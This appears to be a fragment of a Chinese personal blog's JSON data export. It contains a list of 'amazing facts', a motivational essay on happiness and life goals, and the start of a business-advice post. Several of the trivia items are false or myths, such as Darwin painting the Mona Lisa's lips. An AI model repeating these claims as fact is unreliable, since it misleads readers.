\n62. 大象死后还会保持站立姿势 \n63. 有些昆虫没有头还可以再活上一年 \n64. 达尔文光是画蒙那莉萨的嘴唇就花上十二年 \n65. 玻璃破掉时，玻璃碎片的时速最高可达每小时三千英哩 \n\n> 世间真是无奇不有....","slug":"一些不可思议的的事","published":1,"updated":"2018-01-22T06:30:39.411Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y62002pvzqhoull3bze","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><ol>\n<li>没有一张纸可对折超过7次 </li>\n<li>根据统计每年骡仔所杀的人比飞机失事所死的人还多 </li>\n<li>人睡觉比坐着看电视所消耗的卡路里还多 </li>\n<li>Wright’sBrother发明飞机后第一次试飞的路程比一架波音747飞机的飞机翼还短 </li>\n<li>很多人每朝起来都喝一杯咖啡提神，但其实一个苹果比一杯咖啡还有效 </li>\n<li>你的家中多数尘埃都是你的死皮 </li>\n<li>洋娃娃Barbie 全名是Barabra Millicent Roberts</li>\n<li>希特拉的妈妈在怀有希特拉曾认真地考虑堕胎，不过被医说服，结果把他生下来 </li>\n<li>玛丽莲梦露有6只脚趾 </li>\n<li>降落伞的发明人把第一次乘坐降落伞的机会让给了一只狗</li>\n<li>印度尼西亚竹节虫是全世界最大的昆虫，有些光是身长就有一呎长</li>\n<li>其实，河马跑得比人快 </li>\n<li>珍珠在醋中会溶 </li>\n<li>一只70磅的章鱼可以穿过一个仅一枚银币大小的洞，因为他们没有脊椎 </li>\n<li>你有可能将一只牛拉上楼梯，但牛是不懂下楼梯的 </li>\n<li>猪不能仰头望天空 </li>\n<li>‘quick brown fox jumps over the lazy dog’可以用尽26个字母 </li>\n<li>鸭的叫声是不会有回音的，暂时没有人知何解 </li>\n<li>蜗牛可不吃东西睡3年 </li>\n<li>著名影星Tommy Lee Jones与美国副总统曾经是哈佛大学同房 </li>\n<li>如果一个月中，第一天是星期日，那个月便出现黑色星期五 </li>\n<li>把石头放在微波炉中加热会爆炸 </li>\n<li>1,111,111 x 1,111,111 = 1234567654321 </li>\n<li>唯一一个有15英文字母而又不会重复是的英文字’uncopyrightable’ </li>\n<li>猫可发出超过100个音，狗却只能发10个音 </li>\n<li>愈黑的环境下，猫的排尿次数会增加 </li>\n<li>将一个硬币向上抛1000次，字向上的次数是495次，不是500次，因为公较重 </li>\n<li>根据牛津字典世界上最长的英文字是’pneumonoultramicroscopicsilicovolcanoconiosis’ </li>\n<li>人体的胃每2个星期便会更新一次分泌物，否则它会自我消化 </li>\n<li>可乐原是绿色的 </li>\n<li>虎鲨的胚胎在母亲的子宫里需经过激烈的搏斗，胜利者就是可以活着出生的小虎鲨 </li>\n<li>走路上班的人最高比率的省是阿拉斯加 </li>\n<li>如果Barbie是人类，她是身形是39-23-33 </li>\n<li>美国平均每小时在空中的人有61000人 </li>\n<li>只有一种食物不会变坏:蜜糖 </li>\n<li>在加勒比海附近有一种蚝是会爬榭的 </li>\n<li>世界上最年轻的父母在1910年出现，一个8岁及另一个9岁的中国人 </li>\n<li>人顃的鼻及耳是毕生都不断长大 </li>\n<li>下午摘下的玫瑰比清晨摘下的玫瑰更能持久不枯萎 </li>\n<li>乳牛听音乐时可以供应更多牛奶 </li>\n<li>一条长颈鹿的舌头有2尺长 </li>\n<li>大象可用头来站立 </li>\n<li>蚂蚁早上醒来会抓痒 </li>\n<li>伟大发明家爱迪生是怕黑的 </li>\n<li>世上最老的金鱼是41岁，名叫Fred </li>\n<li>爱因斯坦9岁时不能流利说话，他妈妈曾经一度以为他是弱智 </li>\n<li>阿拉伯的女人可以因为丈夫不为她倒咖啡而提出离婚 </li>\n<li>只有55%的美国人知道太阳是一个星体 </li>\n<li>多数唇膏是有鱼鳞的 </li>\n<li>长颈鹿没办法咳嗽 </li>\n<li>猫头鹰是唯一能够分辨蓝色的鸟类 </li>\n<li>一只鲸鱼一分钟心跳只有九下 </li>\n<li>我们喝到肚子里头的水已经有三亿岁了 </li>\n<li>只有百分之三十的人可以放大缩小自己的鼻孔 </li>\n<li>一只牡蛎的性别会由男变女，此后一生中还会变个几次 </li>\n<li>根据一项1845年由英国通过的法律，自杀是非常严重的罪，最重可以处以吊死的极刑 </li>\n<li>在太空中航天员是没办法哭的，因为没有地心引力，眼泪流不出来 </li>\n<li>一只变色龙的舌头是它自己身体的两倍长 </li>\n<li>最常用牙签的人是美国人 </li>\n<li>一个正常人的眼部肌肉一天平均要动上一万到一万五千次 </li>\n<li>大象死后还会保持站立姿势 </li>\n<li>有些昆虫没有头还可以再活上一年 </li>\n<li>达尔文光是画蒙那莉萨的嘴唇就花上十二年 </li>\n<li>玻璃破掉时，玻璃碎片的时速最高可达每小时三千英哩 </li>\n</ol>\n<blockquote>\n<p>世间真是无奇不有….</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<ol>\n<li>没有一张纸可对折超过7次 </li>\n<li>根据统计每年骡仔所杀的人比飞机失事所死的人还多 </li>\n<li>人睡觉比坐着看电视所消耗的卡路里还多 </li>\n<li>Wright’sBrother发明飞机后第一次试飞的路程比一架波音747飞机的飞机翼还短 </li>\n<li>很多人每朝起来都喝一杯咖啡提神，但其实一个苹果比一杯咖啡还有效 </li>\n<li>你的家中多数尘埃都是你的死皮 </li>\n<li>洋娃娃Barbie 全名是Barabra Millicent Roberts</li>\n<li>希特拉的妈妈在怀有希特拉曾认真地考虑堕胎，不过被医说服，结果把他生下来 </li>\n<li>玛丽莲梦露有6只脚趾 </li>\n<li>降落伞的发明人把第一次乘坐降落伞的机会让给了一只狗</li>\n<li>印度尼西亚竹节虫是全世界最大的昆虫，有些光是身长就有一呎长</li>\n<li>其实，河马跑得比人快 </li>\n<li>珍珠在醋中会溶 </li>\n<li>一只70磅的章鱼可以穿过一个仅一枚银币大小的洞，因为他们没有脊椎 </li>\n<li>你有可能将一只牛拉上楼梯，但牛是不懂下楼梯的 </li>\n<li>猪不能仰头望天空 </li>\n<li>‘quick brown fox jumps over the lazy dog’可以用尽26个字母 </li>\n<li>鸭的叫声是不会有回音的，暂时没有人知何解 </li>\n<li>蜗牛可不吃东西睡3年 </li>\n<li>著名影星Tommy Lee Jones与美国副总统曾经是哈佛大学同房 </li>\n<li>如果一个月中，第一天是星期日，那个月便出现黑色星期五 </li>\n<li>把石头放在微波炉中加热会爆炸 </li>\n<li>1,111,111 x 1,111,111 = 1234567654321 </li>\n<li>唯一一个有15英文字母而又不会重复是的英文字’uncopyrightable’ </li>\n<li>猫可发出超过100个音，狗却只能发10个音 </li>\n<li>愈黑的环境下，猫的排尿次数会增加 </li>\n<li>将一个硬币向上抛1000次，字向上的次数是495次，不是500次，因为公较重 </li>\n<li>根据牛津字典世界上最长的英文字是’pneumonoultramicroscopicsilicovolcanoconiosis’ </li>\n<li>人体的胃每2个星期便会更新一次分泌物，否则它会自我消化 </li>\n<li>可乐原是绿色的 </li>\n<li>虎鲨的胚胎在母亲的子宫里需经过激烈的搏斗，胜利者就是可以活着出生的小虎鲨 </li>\n<li>走路上班的人最高比率的省是阿拉斯加 </li>\n<li>如果Barbie是人类，她是身形是39-23-33 </li>\n<li>美国平均每小时在空中的人有61000人 </li>\n<li>只有一种食物不会变坏:蜜糖 </li>\n<li>在加勒比海附近有一种蚝是会爬榭的 </li>\n<li>世界上最年轻的父母在1910年出现，一个8岁及另一个9岁的中国人 </li>\n<li>人顃的鼻及耳是毕生都不断长大 </li>\n<li>下午摘下的玫瑰比清晨摘下的玫瑰更能持久不枯萎 </li>\n<li>乳牛听音乐时可以供应更多牛奶 </li>\n<li>一条长颈鹿的舌头有2尺长 </li>\n<li>大象可用头来站立 </li>\n<li>蚂蚁早上醒来会抓痒 </li>\n<li>伟大发明家爱迪生是怕黑的 </li>\n<li>世上最老的金鱼是41岁，名叫Fred </li>\n<li>爱因斯坦9岁时不能流利说话，他妈妈曾经一度以为他是弱智 </li>\n<li>阿拉伯的女人可以因为丈夫不为她倒咖啡而提出离婚 </li>\n<li>只有55%的美国人知道太阳是一个星体 </li>\n<li>多数唇膏是有鱼鳞的 </li>\n<li>长颈鹿没办法咳嗽 </li>\n<li>猫头鹰是唯一能够分辨蓝色的鸟类 </li>\n<li>一只鲸鱼一分钟心跳只有九下 </li>\n<li>我们喝到肚子里头的水已经有三亿岁了 </li>\n<li>只有百分之三十的人可以放大缩小自己的鼻孔 </li>\n<li>一只牡蛎的性别会由男变女，此后一生中还会变个几次 </li>\n<li>根据一项1845年由英国通过的法律，自杀是非常严重的罪，最重可以处以吊死的极刑 </li>\n<li>在太空中航天员是没办法哭的，因为没有地心引力，眼泪流不出来 </li>\n<li>一只变色龙的舌头是它自己身体的两倍长 </li>\n<li>最常用牙签的人是美国人 </li>\n<li>一个正常人的眼部肌肉一天平均要动上一万到一万五千次 </li>\n<li>大象死后还会保持站立姿势 </li>\n<li>有些昆虫没有头还可以再活上一年 </li>\n<li>达尔文光是画蒙那莉萨的嘴唇就花上十二年 </li>\n<li>玻璃破掉时，玻璃碎片的时速最高可达每小时三千英哩 </li>\n</ol>\n<blockquote>\n<p>世间真是无奇不有….</p>\n</blockquote>\n"},{"title":"你的一生，究竟为什么而活","date":"2018-02-11T10:41:05.000Z","_content":"# 启示录\n\n此时，我看了一个小动画，一只老鼠，从追赶火车，到追寻幸福的过程，途中经历了很多东西：生意\b、豪车、酗酒、嗑药、陷入迷幻，为了金钱而工作最终成为大多数人中的一员。平庸一生\n\n## 幸福是什么\n\n幸福对我来说，就是能\b做自己喜欢的事，追求自己的梦想，而我的理想，就是能够\b\b为这个社会留下点什么，带上我的音乐梦，为他人带去欢乐，一个人的一生不应该平庸，我们来到这个世界，一定是为了让我们能够实现自己的价值，每个人都不一样，每个人都存在过，\b人活着的意义是什么，不就是为了追寻自己的理想吗？\n<br/>\n我们现在大多数人，处于不知道自己想要什么，而且不知道对自己来说什么才是真正的幸福。想不平庸，却不\b愿意全力以赴。最后就\b像片中的老鼠一样。最后还是回到了起点。\n\n## 我的幸福\n\n* 能追求自己的音乐理想，写自己的歌；\n* 花切，去做一些酷一些的事；\n* 尝试新的东西，锻炼自己的胆识；\n* 能苦中作乐，对\b生活充满激情与乐观；\n* 三十岁之前有房子\b，车子，建立自己的公司；\n* 三十五岁之前拥有自己的爱人，孩子；\n* 四十岁之前自己的公司成型，并且能为他人投资；\n* 四十五岁之前能让家族复兴；\n* 六十岁之前退休，去享受生活，享受音乐；\n>不甘平庸才是我们每个人应该的追求；\n\n## 小结\n\n有梦想有目标的生活，才是最幸福的，未来虽然不可预测，但是我们能为我们即将到来的未来做做好准备，不要太享受生活，即使\b目前的生活很安逸，也要追求更安逸的生活，人都是向上看的，只有你敢想敢做，没有什么事情是做不了的，如果做不到，就是你没有尽全力！","source":"_posts/你的一生，究竟为什么而活.md","raw":"---\ntitle: 你的一生，究竟为什么而活\ndate: 2018-02-11 18:41:05\ntags: [幸福]\ncategories: 生活\n---\n# 启示录\n\n此时，我看了一个小动画，一只老鼠，从追赶火车，到追寻幸福的过程，途中经历了很多东西：生意\b、豪车、酗酒、嗑药、陷入迷幻，为了金钱而工作最终成为大多数人中的一员。平庸一生\n\n## 幸福是什么\n\n幸福对我来说，就是能\b做自己喜欢的事，追求自己的梦想，而我的理想，就是能够\b\b为这个社会留下点什么，带上我的音乐梦，为他人带去欢乐，一个人的一生不应该平庸，我们来到这个世界，一定是为了让我们能够实现自己的价值，每个人都不一样，每个人都存在过，\b人活着的意义是什么，不就是为了追寻自己的理想吗？\n<br/>\n我们现在大多数人，处于不知道自己想要什么，而且不知道对自己来说什么才是真正的幸福。想不平庸，却不\b愿意全力以赴。最后就\b像片中的老鼠一样。最后还是回到了起点。\n\n## 我的幸福\n\n* 能追求自己的音乐理想，写自己的歌；\n* 花切，去做一些酷一些的事；\n* 尝试新的东西，锻炼自己的胆识；\n* 能苦中作乐，对\b生活充满激情与乐观；\n* 三十岁之前有房子\b，车子，建立自己的公司；\n* 三十五岁之前拥有自己的爱人，孩子；\n* 四十岁之前自己的公司成型，并且能为他人投资；\n* 四十五岁之前能让家族复兴；\n* 六十岁之前退休，去享受生活，享受音乐；\n>不甘平庸才是我们每个人应该的追求；\n\n## 小结\n\n有梦想有目标的生活，才是最幸福的，未来虽然不可预测，但是我们能为我们即将到来的未来做做好准备，不要太享受生活，即使\b目前的生活很安逸，也要追求更安逸的生活，人都是向上看的，只有你敢想敢做，没有什么事情是做不了的，如果做不到，就是你没有尽全力！","slug":"你的一生，究竟为什么而活","published":1,"updated":"2018-02-11T11:20:25.427Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y64002rvzqhud2atdh7","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"启示录\"><a href=\"#启示录\" class=\"headerlink\" title=\"启示录\"></a>启示录</h1><p>此时，我看了一个小动画，一只老鼠，从追赶火车，到追寻幸福的过程，途中经历了很多东西：生意\b、豪车、酗酒、嗑药、陷入迷幻，为了金钱而工作最终成为大多数人中的一员。平庸一生</p>\n<h2 id=\"幸福是什么\"><a href=\"#幸福是什么\" class=\"headerlink\" title=\"幸福是什么\"></a>幸福是什么</h2><p>幸福对我来说，就是能\b做自己喜欢的事，追求自己的梦想，而我的理想，就是能够\b\b为这个社会留下点什么，带上我的音乐梦，为他人带去欢乐，一个人的一生不应该平庸，我们来到这个世界，一定是为了让我们能够实现自己的价值，每个人都不一样，每个人都存在过，\b人活着的意义是什么，不就是为了追寻自己的理想吗？<br><br><br>我们现在大多数人，处于不知道自己想要什么，而且不知道对自己来说什么才是真正的幸福。想不平庸，却不\b愿意全力以赴。最后就\b像片中的老鼠一样。最后还是回到了起点。</p>\n<h2 id=\"我的幸福\"><a href=\"#我的幸福\" class=\"headerlink\" title=\"我的幸福\"></a>我的幸福</h2><ul>\n<li>能追求自己的音乐理想，写自己的歌；</li>\n<li>花切，去做一些酷一些的事；</li>\n<li>尝试新的东西，锻炼自己的胆识；</li>\n<li>能苦中作乐，对\b生活充满激情与乐观；</li>\n<li>三十岁之前有房子\b，车子，建立自己的公司；</li>\n<li>三十五岁之前拥有自己的爱人，孩子；</li>\n<li>四十岁之前自己的公司成型，并且能为他人投资；</li>\n<li>四十五岁之前能让家族复兴；</li>\n<li>六十岁之前退休，去享受生活，享受音乐；<blockquote>\n<p>不甘平庸才是我们每个人应该的追求；</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h2><p>有梦想有目标的生活，才是最幸福的，未来虽然不可预测，但是我们能为我们即将到来的未来做做好准备，不要太享受生活，即使\b目前的生活很安逸，也要追求更安逸的生活，人都是向上看的，只有你敢想敢做，没有什么事情是做不了的，如果做不到，就是你没有尽全力！</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"启示录\"><a href=\"#启示录\" class=\"headerlink\" title=\"启示录\"></a>启示录</h1><p>此时，我看了一个小动画，一只老鼠，从追赶火车，到追寻幸福的过程，途中经历了很多东西：生意\b、豪车、酗酒、嗑药、陷入迷幻，为了金钱而工作最终成为大多数人中的一员。平庸一生</p>\n<h2 id=\"幸福是什么\"><a href=\"#幸福是什么\" class=\"headerlink\" title=\"幸福是什么\"></a>幸福是什么</h2><p>幸福对我来说，就是能\b做自己喜欢的事，追求自己的梦想，而我的理想，就是能够\b\b为这个社会留下点什么，带上我的音乐梦，为他人带去欢乐，一个人的一生不应该平庸，我们来到这个世界，一定是为了让我们能够实现自己的价值，每个人都不一样，每个人都存在过，\b人活着的意义是什么，不就是为了追寻自己的理想吗？<br><br><br>我们现在大多数人，处于不知道自己想要什么，而且不知道对自己来说什么才是真正的幸福。想不平庸，却不\b愿意全力以赴。最后就\b像片中的老鼠一样。最后还是回到了起点。</p>\n<h2 id=\"我的幸福\"><a href=\"#我的幸福\" class=\"headerlink\" title=\"我的幸福\"></a>我的幸福</h2><ul>\n<li>能追求自己的音乐理想，写自己的歌；</li>\n<li>花切，去做一些酷一些的事；</li>\n<li>尝试新的东西，锻炼自己的胆识；</li>\n<li>能苦中作乐，对\b生活充满激情与乐观；</li>\n<li>三十岁之前有房子\b，车子，建立自己的公司；</li>\n<li>三十五岁之前拥有自己的爱人，孩子；</li>\n<li>四十岁之前自己的公司成型，并且能为他人投资；</li>\n<li>四十五岁之前能让家族复兴；</li>\n<li>六十岁之前退休，去享受生活，享受音乐；<blockquote>\n<p>不甘平庸才是我们每个人应该的追求；</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h2><p>有梦想有目标的生活，才是最幸福的，未来虽然不可预测，但是我们能为我们即将到来的未来做做好准备，不要太享受生活，即使\b目前的生活很安逸，也要追求更安逸的生活，人都是向上看的，只有你敢想敢做，没有什么事情是做不了的，如果做不到，就是你没有尽全力！</p>\n"},{"title":"七种公司永远做不大, 十种老板永远不成功!","date":"2017-08-22T07:49:09.000Z","_content":"\n### 这七种公司永远做不大\n\n#### 1. 格局小的企业\n* 1999年2月，牛根生对孙先红说：我给你100万的宣传费，对谁也不要说。先红问：为什么不能说？牛说：现在总共筹到300万，拿出100万做广告，我怕大家知道后接受不了。我就要一个效果：一夜之间，让呼市人都知道。于是1999年4月1日早上，一觉醒来，人们突然发现道路两旁冒出了一溜溜的红色路牌广告，上面高书金色大字：蒙牛乳业，创内蒙古乳业第二品牌！\n* 但在现实中，许多老板肩上扛着品牌大旗心里打着小算盘，乐于小打小闹，希望以小的投入来获得大的回报，从没想过以大的投入来换取更大的回报。这实际上就是一种格局。格局小的老板，想的永远是自己，希望从一颗鸡蛋中吃出黄金；而格局大的老板，则能着眼于未来，在大环境中定义自己的事业。\n\n#### 2. 心态小的企业\n> 俗话说：善奕者谋势，不善奕者谋子\n* 许多企业之所以做不大，就在于只谋子不谋势。谋势就是定战略，有了战略，路再长，总有一天会走到；没有战略，走得越猛，死得越早。置战略需求于不顾，希望用1分钱换来100元的效果的主，很难走出穷的境界，因为占便宜本身就代表没有境界。死抠一城一池，是活三年的企业，因为它不抬头看天。东一榔头西一棒子的，是活三月的企业，因为它不低头看地。不看天，山雨欲来浑然不觉，要被洪水淹死；不看地，夜半悬崖大步流星，要被群山淹没。\n\n#### 3. 短视的企业\n* 立竿见影、刀下见菜，是大多数老板的想法，当然这也没有错，因为解决目前的生存问题是第一位的。但是，生存问题属于战术问题，而发展问题属于战略问题，解决生存问题必须刀下见菜，但要搞定发展问题则需要细水长流最后水到渠成。现实中，很多老板都有短视心态，以为整一个亮点马上就能换回巨大的效益，于是一个活动搞下去或一期广告投下去看到没什么效果就马上停止。\n* 其实这种想法并不正确，因为品牌对于企业而言是一个长期工程和系统工程，既要有独特的个性，又需要系统的提炼及提升；对于客户而言，品牌又是一种认知识别和体验识别，他们需要你能记住你的特别理由，因此也就需要你在诉求点上要坚持深入。\n\n#### 4. 缺外脑的企业\n* 曾有人说过这样一句话：在中国，资源第一位，机遇第二位，能力第三位，学历第四位，不少老板比别人做得成功，就在于他所拥有的社会资源为他创造了部分条件。而很多老板之所以做不大，原因就在于他缺少足够的社会资源，单打独斗当然也就孤掌难鸣。\n* 